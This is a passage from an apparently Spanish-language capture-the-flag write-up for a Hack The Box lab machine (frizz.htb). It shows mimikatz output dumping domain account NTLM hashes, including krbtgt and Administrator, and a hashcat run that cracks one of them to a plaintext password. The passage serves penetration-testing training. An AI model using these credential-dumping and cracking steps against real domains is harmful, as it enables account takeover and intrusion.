[DC] 'frizz.htb' will be the domain
[DC] 'frizzdc.frizz.htb' will be the DC server
[DC] Exporting domain 'frizz.htb'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
1104	w.li	1c113211987ca6a9184503b179d9dfaa	66048
1105	h.arm	8b3055495e80f8ee7d997f7d7a55b4c0	66048
1107	d.hudson	91cf151e936fc93c86698657b4295460	66048
1108	k.franklin	ccfe55e7aa51899f936930f0c200b6c7	66048
1109	l.awesome	0d27457ae284988aa5ec067341e22ff3	66048
1110	t.wright	e952ad2c22fc30cf9ddaa1b9794f833d	66048
1111	r.tennelli	1e47cb7e5d7ac4ec0dc32200f2948ca4	66048
1112	J.perlstein	445f11ff2a95e05a1d5122a6d798de7d	66048
1113	a.perlstein	b61979d08c7b2d5b641f3be3645f3ec8	66048
1114	p.terese	2803a7b3088798bc8457e8e327eae454	66048
1116	g.frizzle	ad45f1a39d0aad8b715ed02cfd61d564	66048
1117	c.sandiego	1ba512662862a494c993888ff8a5581d	66048
1118	c.ramon	a206853184aca2d030a57011786c7f37	66048
1119	m.ramon	7576c7d46f8a0512a1eeba70bb424a41	66048
502	krbtgt	f2555a6cd2c4f0a1d8c08b78c9b3f15e	514
1120	w.Webservice	4382bdea116a67dfac27f11028733ba1	66048
500	Administrator	c457b5f1c315bef53b9cabc92e993d0b	512
1115	v.frizzle	98efe5a306ed7ce343a4820027e2f3f7	66048
1106	M.SchoolBus	c5127655f826fd8fbf09b90ae0795906	66048
1103	f.frizzle	96198b704e6586b657fd425c7baaf105	66048
1000	FRIZZDC$	04b0cbdc4a8d43605f45f881f07054a2	532480

mimikatz #

Hashcat con el wordlist rockyou.txt unicamente muestran un valor de hash.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
96198b704e6586b657fd425c7baaf105:Jenni_Luvs_Magic23

PS C:\Users\sckull\Documents\hashcat-6.2.6> .\hashcat.exe -m 1000 ..\hash\frizz_hashes .\rockyou.txt
hashcat (v6.2.6) starting

[..] snip [..]

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 421 MB

Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

96198b704e6586b657fd425c7baaf105:Jenni_Luvs_Magic23
Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1000 (NTLM)
Hash.Target......: ..\hash\frizz_hashes
Time.Started.....: Fri Mar 28 01:49:25 2025 (1 sec)
Time.Estimated...: Fri Mar 28 01:49:26 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 25525.9 kH/s (2.40ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 1/21 (4.76%) Digests (total), 1/21 (4.76%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[303231334a52] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 46c Fan:  0% Util: 38% Core:2505MHz Mem:8250MHz Bus:8

Started: Fri Mar 28 01:49:24 2025
Stopped: Fri Mar 28 01:49:27 2025
PS C:\Users\sckull\Documents\hashcat-6.2.6>
Share on

Dany Sucuc
WRITTEN BY
sckull